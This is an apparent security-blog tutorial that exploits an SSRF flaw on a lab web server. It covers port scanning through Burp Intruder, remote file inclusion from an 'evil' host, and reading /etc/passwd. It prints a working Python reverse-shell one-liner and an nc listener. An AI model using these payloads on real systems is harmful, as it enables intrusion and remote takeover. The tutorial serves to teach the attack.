The SSRF vulnerability
Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on behalf of him. Here are some cases where we can use this attack.
Imagine that an attacker discovers an SSRF vulnerability on a server. Suppose that the server is just a Web Server inside a wide network. This network also contains several other computers and servers. By exploiting the SSRF vulnerability the attacker might be able to:
- Scan other machines in the network of the vulnerable server that he wouldn’t be able to access otherwise.
- Perform a Remote File Inclusion attack.
- Find the services running on each network host.
- Bypass Firewall and force the vulnerable server perform your malicious requests.
- Retrieve server files (including /etc/passwd and more).
You can better understand how an SSRF attack works by viewing the following image:
Image source: blogs.mcafee.com
Furthermore, we can consider the following definition from CWE – Common Weakness Enumeration:
“The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.”
Simply put, the problem occurs when the server doesn’t properly validate the user input. We have seen this story many many times. Again:
Attacking the server
For the purpose of this article I have set up a vulnerable Debian GNU/Linux 7.11 (wheezy) Web Server. There is a PHP file uploaded called “awesome_script.php” which looks like the following when we browse it:
So, by trying to load the “http://php.net,” we can see something like this:
Let’s now understand how the server performs the requests. Does it validate the user input or not? To test this, we can consider giving “http://scanme.nmap.org:22/” as an input. This is an authorized place to test our Nmap installation, and thus, we are allowed to scan for open ports.
As we can see, we can determine that the SSH service is normally running. Thus, we can use the vulnerable web application to scan for open ports on any target domain ( scanme.nmap.org ).
Let’s now see if we can scan for open ports on the Vulnerable Machine. To begin, we will use “http://localhost/” as an input. This will request the Server’s index page. As the Vulnerable Application is executed “locally,” localhost will make the vulnerable app request its localhost page.
As we can see, on port 80 of the server’s localhost page there is a phpinfo file available. Our scope now is to scan for all the open ports available on the server. To do this, we will use BurpSuite. We are not going to explain the BurpSuite usage in this article. You can view some useful tutorials on Burp’s official website.
So, here is how the Intruder tab looks like before any modifications.
What we have to do is to insert a payload market before and after the port number. This will make our request look like this.
Now, we have to choose the Payloads tab. The Payload Set must be set to 1. The Payload Type must be said to Numbers. On the Number Range menu, make sure to start from port 0 until your preferred port number. For the simplicity of this article, I will use the range 0 until 1000. In your tests, you can scan all 65536 ports (Yes, it will take a lot of time). The increment step is 1. Finally, make sure you avoid digit fractions by setting both min and max fraction digits to 0.
After the attack is completed, I choose to list the responses by length. As you can see, ports 80 (http), 22(ssh) and 25(smtp) are available on the vulnerable server.
Example from the response on port 22.
Of course, you could also use the Grep Filters provided by BurpSuite to filter out the results. It goes without saying that if you don’t want to use BurpSuite for this task, you can also write your own script to automate the process. It is obvious that sending so many requests will require a lot of time for the scan to finish. But we can also do many things other than port scanning with SSRF.
For instance, we can sometimes perform a Remote File Inclusion attack. For the purpose of this article, I have created a simple PHP payload, located on a different server from the vulnerable one. The PHP code of my “evil” file looks like this:
This simple PHP code will call the system function to execute system commands and then immediately return the result. The PHP file is located under: “http://evilssrf.com/evil.php.” The reverse shell payload I used was the following one:
$ python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“IP“,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’
You can find more reverse shell payloads here: Reverse Shell Cheat Sheet. Of course, I was listening for a connection on the “evil” server by running:
$ nc -nlvp 4444
So, that was my request.
And that was the result!
So, we managed to take a reverse shell. Let’s see what else we can do.
Finally, we are going to use the File protocol
to use a Metalink file in the server’s file system. For instance, the following request will ask for the “/etc/passwd” file located in the Vulnerable Server.
And the result:
As you can see, there are many things you can do while exploiting an SSRF vulnerability. Imagine what you could achieve if you used all of the curl’s options. Gother, dict, FTP and other protocols should always be checked. As you can understand it would be impossible to analyze all of them in one article. I suggest you have a look at my personal SSRF Bible.
You can find the vulnerable code of the application here.
If you have more ideas, please feel free to comment! I hope you enjoyed this article as much as I did. Thanks for your time.